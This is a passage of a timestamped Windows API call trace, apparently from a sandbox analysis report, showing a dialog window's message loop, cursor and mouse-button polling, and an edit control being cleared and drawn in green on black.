lpMsg=0xe0d659f650) returned 0 [0046.241] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.241] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.241] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.241] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.241] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.241] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.242] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.242] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.242] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.243] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.244] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.244] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.244] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.244] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.244] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.244] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.244] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.244] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.270] GetForegroundWindow () returned 0x50216 [0046.270] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.270] GetCursorPos (in: lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0*(x=526, y=541)) returned 1 [0046.270] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0) returned 1 [0046.270] GetAsyncKeyState (vKey=1) returned 0 [0046.270] GetAsyncKeyState (vKey=2) returned 0 [0046.270] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.270] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.270] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.270] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.271] Sleep (dwMilliseconds=0xa) [0046.285] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.285] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.285] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.285] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.285] Sleep (dwMilliseconds=0xa) [0046.300] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.300] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.300] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.300] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.300] Sleep (dwMilliseconds=0xa) [0046.330] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.330] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.330] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.331] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.331] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.331] TranslateMessage (lpMsg=0xe0d659f650) returned 0 [0046.331] DispatchMessageW (lpMsg=0xe0d659f650) returned 0x0 [0046.331] GetForegroundWindow () returned 0x50216 [0046.331] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.331] GetCursorPos (in: lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0*(x=526, y=541)) returned 1 [0046.331] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0) returned 1 [0046.331] GetAsyncKeyState (vKey=1) returned 0 [0046.331] GetAsyncKeyState (vKey=2) returned 0 [0046.331] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.331] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.331] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.331] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.331] Sleep (dwMilliseconds=0xa) [0046.362] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.362] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.362] TranslateMessage (lpMsg=0xe0d659f650) returned 0 [0046.362] DispatchMessageW (lpMsg=0xe0d659f650) returned 0x0 [0046.362] GetForegroundWindow () returned 0x50216 [0046.362] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.362] GetCursorPos (in: lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0*(x=526, y=541)) returned 1 [0046.362] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0) returned 1 [0046.362] GetAsyncKeyState (vKey=1) returned 0 [0046.362] GetAsyncKeyState (vKey=2) returned 0 [0046.362] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.362] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.362] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.362] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.362] Sleep (dwMilliseconds=0xa) [0046.393] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.393] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.393] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.393] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.393] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.393] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.393] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.393] Sleep (dwMilliseconds=0xa) [0046.425] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.425] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.425] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x201, lParam=0x1a700cd) returned 0x0 [0046.425] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.425] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x21, wParam=0x50216, lParam=0x2010001) returned 0x1 [0046.425] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.425] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.425] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x20, wParam=0x901e4, lParam=0x2010001) returned 0x0 [0046.425] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.425] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.426] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.426] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x0 [0046.426] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.426] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.426] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.426] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.426] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.426] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.426] IsWindow (hWnd=0x901e4) returned 1 [0046.426] IsWindowEnabled (hWnd=0x901e4) returned 1 [0046.426] GetCursorPos (in: lpPoint=0xe0d659ef40 | out: lpPoint=0xe0d659ef40*(x=526, y=541)) returned 1 [0046.426] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659ef40 | out: lpPoint=0xe0d659ef40) returned 1 [0046.426] GetAsyncKeyState (vKey=1) returned 1 [0046.426] GetAsyncKeyState (vKey=2) returned 0 [0046.426] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.426] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.426] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.426] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x20, wParam=0x901e4, lParam=0x2000001) returned 0x0 [0046.426] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.426] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.426] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.426] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.426] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.426] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.426] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffffa20106f6, lParam=0x0) returned 0x1 [0046.426] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.426] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.427] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.427] SetBkColor (hdc=0xffffffffa20106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.427] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.427] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0xffffffffa20106f6, lParam=0x4) returned 0x0 [0046.427] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.427] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.427] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.427] SetBkColor (hdc=0xffffffffa20106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.427] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.427] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.427] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.427] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.427] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.427] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.427] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.427] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.427] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.427] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.427] TranslateMessage (lpMsg=0xe0d659f650) returned 0 [0046.427] DispatchMessageW (lpMsg=0xe0d659f650) returned 0x0 [0046.427] GetForegroundWindow () returned 0x50216 [0046.427] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.427] GetCursorPos (in: lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0*(x=526, y=541)) returned 1 [0046.427] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0) returned 1 [0046.427] GetAsyncKeyState (vKey=1) returned 0 [0046.427] GetAsyncKeyState (vKey=2) returned 0 [0046.427] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.427] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.427] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.427] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.428] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.428] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.428] SetWindowTextW (hWnd=0x701ea, lpString="") returned 1 [0046.429] SendMessageW (hWnd=0x701ea, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0046.429] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.429] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.429] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.429] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.429] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.429] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.429] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.429] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.429] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0046.429] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0046.429] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.429] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.429] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.429] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.429] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.429] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0046.429] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0046.429] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.429] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.429] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.429] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 